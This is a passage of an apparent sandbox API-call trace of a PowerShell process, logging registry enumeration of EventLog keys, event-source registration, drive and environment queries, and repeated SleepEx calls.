phkResult=0x7cef35c | out: phkResult=0x7cef35c*=0x79c) returned 0x0 [0115.018] RegQueryInfoKeyW (in: hKey=0x79c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7cef3ac, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef3a8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7cef3ac*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef3a8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x0, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x1, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x2, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x3, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x4, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x5, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x6, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegEnumKeyExW (in: hKey=0x79c, dwIndex=0x7, lpName=0x564404c, lpcchName=0x7cef3c8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7cef3c8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.018] CoTaskMemFree (pv=0x0) [0115.018] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.018] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.018] RegCloseKey (hKey=0x798) returned 0x0 [0115.018] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.018] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.018] RegCloseKey (hKey=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.019] RegCloseKey (hKey=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.019] RegCloseKey (hKey=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.019] RegCloseKey (hKey=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.019] RegCloseKey (hKey=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.019] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x0) returned 0x2 [0115.020] RegCloseKey (hKey=0x798) returned 0x0 [0115.020] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x798) returned 0x0 [0115.020] RegOpenKeyExW (in: hKey=0x798, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef388 | out: phkResult=0x7cef388*=0x7a0) returned 0x0 [0115.020] RegCloseKey (hKey=0x7a0) returned 0x0 [0115.020] RegCloseKey (hKey=0x79c) returned 0x0 [0115.021] RegCloseKey (hKey=0x798) returned 0x0 [0115.021] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef344 | out: phkResult=0x7cef344*=0x798) returned 0x0 [0115.022] RegQueryInfoKeyW (in: hKey=0x798, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7cef394, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef390, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7cef394*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef390*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x0, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x1, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x2, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x3, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x4, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x5, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x6, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x7, lpName=0x564508c, lpcchName=0x7cef3b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7cef3b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.022] CoTaskMemFree (pv=0x0) [0115.022] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.022] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.022] RegCloseKey (hKey=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x798, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.023] RegCloseKey (hKey=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.023] RegCloseKey (hKey=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.023] RegCloseKey (hKey=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x798, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.023] RegCloseKey (hKey=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.023] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.024] RegCloseKey (hKey=0x79c) returned 0x0 [0115.024] RegOpenKeyExW (in: hKey=0x798, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.024] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x0) returned 0x2 [0115.024] RegCloseKey (hKey=0x79c) returned 0x0 [0115.024] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x79c) returned 0x0 [0115.024] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef370 | out: phkResult=0x7cef370*=0x7a0) returned 0x0 [0115.024] RegCloseKey (hKey=0x7a0) returned 0x0 [0115.024] RegCloseKey (hKey=0x798) returned 0x0 [0115.024] RegCloseKey (hKey=0x79c) returned 0x0 [0115.025] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x7e70004 [0115.027] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5645da0*="Registry", lpRawData=0x5645cb4) returned 1 [0115.030] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5648064*="Alias", lpRawData=0x5647f8c) returned 1 [0115.209] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x564a448*="Environment", lpRawData=0x564a370) returned 1 [0115.217] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x7cef374, nSize=0x80 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0115.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x104, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0115.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x7cef42c) returned 1 [0115.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x7cef4a8 | out: lpFileInformation=0x7cef4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0115.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x7cef428) returned 1 [0115.217] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x7ceebd0, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0115.218] GetLogicalDrives () returned 0x4 [0115.218] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0115.218] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0115.219] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x7cef418) returned 1 [0115.219] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x7cef320, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x7cef440, lpMaximumComponentLength=0x7cef43c, lpFileSystemFlags=0x7cef438, lpFileSystemNameBuffer=0x7cef2b8, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x7cef440*=0xb4197730, lpMaximumComponentLength=0x7cef43c*=0xff, lpFileSystemFlags=0x7cef438*=0x3e702ff, lpFileSystemNameBuffer="NTFS") returned 1 [0115.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x7cef414) returned 1 [0115.220] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.220] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.220] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0115.220] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0115.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x7cef3d0) returned 1 [0115.220] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x564b55c | out: lpFileInformation=0x564b55c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x865407b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x865407b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0115.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x7cef3cc) returned 1 [0115.220] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0115.220] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0115.220] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.220] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.225] PathIsNetworkPathW (pszPath="C:\\") returned 0 [0115.225] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0115.225] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0115.225] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.226] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.228] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0115.229] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x564d55c*="FileSystem", lpRawData=0x564d484) returned 1 [0115.233] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x564fa10*="Function", lpRawData=0x564f938) returned 1 [0115.235] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5651d20*="Variable", lpRawData=0x5651c48) returned 1 [0115.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.300] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.580] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.688] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.986] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.362] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.626] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.745] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.797] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.924] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.083] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.610] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.925] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.990] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.030] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.119] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.216] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.285] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.339] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.427] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.916] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.294] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.422] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.848] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.939] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.978] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.032] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.052] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.057] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.061] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.086] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.130] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.231] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.508] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.538] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.671] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.695] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.739] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.778] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.934] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.012] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.059] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.108] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.154] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.202] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.294] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.356] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.381] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.545] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.561] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.581] SleepEx (dwMilliseconds=0x0, 